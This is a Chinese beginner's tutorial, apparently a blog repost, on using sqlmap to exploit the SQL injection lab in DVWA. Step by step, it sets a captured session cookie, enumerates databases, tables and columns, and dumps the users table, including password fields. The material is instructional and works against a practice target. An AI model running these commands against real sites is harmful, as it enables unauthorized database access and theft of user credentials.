【学习笔记】新手5分钟快速体验SQLmap

本文不对繁杂的引言、细节做介绍,直接进入操作过程。更多细节可以参考sqlmap详解

说明:进行实践操作之前,假设你已经搭建好了一套DVWA或其他测试环境。

测试平台:Kali Linux操作系统

测试目标:OWASP BWA平台中的DVWA 的SQL Injection

用到工具:Tamper Data

浏览器:Firefox

下面列出体验将用到的参数、选项说明

测试中用到的参数
-u 指定要进行注入的URL
--dbs 枚举数据库管理系统所有数据库
-D 指定要进行枚举的数据库名(一般在--dbs得到之后)
--tables 枚举指定数据库(有-D选项)的所有表
-T 指定要进行枚举的表名(--tables之后)
--columns 枚举指定表名的列
--dump 转储注入返回的信息
cookie 注入页面的cookie
-C 指定要枚举的列字段名

以具体操作具体化上表的具体作用。

1、检测页面是否存在注入漏洞。

在Firefox浏览器的Tools菜单栏中打开Tamper data,我们在USER ID处随意输入一个值“aa”,Tamper data捕获HTTP有关信息,我们只要cookie值,右键复制。

扫描二维码关注公众号,回复: 10094156 查看本文章

在终端输入一下指令:

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31'

执行中可能会有让你选择[Y/n]的过程,最终会得到下面关键信息

即该URL中的id参数存在SQL注入点,分别为基于错误的注入点和Union查询的注入点,还给出了数据库版本及Web平台信息。

2、进一步探测数据库名称。

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' --dbs

也就是加上了--dbs参数,探测到如下信息

除了MySQL默认的系统数据库,还有一个名为dvwa的数据库。

3、看看有些什么表

-D参数来指定dvwa数据库,--tables选项进行表枚举。

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables

枚举出表名:[guestbook]和[users],当然是对users的内容更感兴趣。

4、进一步查看users表的字段列表

上一步的基础上使用-T参数指定表名,--columns选项对列表进行枚举

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables -T users --columns

得到表的字段名及数据类型

5、各个字段都是什么内容

使用--dump选项转储字段内容并保存,

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables -T users --columns --dump

达到目标

最终通过SQL注入得到了指定表的各字段具体信息,虽然password字段会被加密,但是在指令执行过程中会询问是否解密。

也许并非所有字段我们都想要,那么可以通过-C选项指定我们想要的列,比如这里我们只要user和password

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables -T users --columns  -C user,password--dump

这样就筛选出了我们感兴趣的字段内容。

再补充一点就是dvwa平台如果security等级被设置为high的话,直接sql探测会检测不到存在注入点。

发布了25 篇原创文章 · 获赞 23 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/Secur17y/article/details/93338075
今日推荐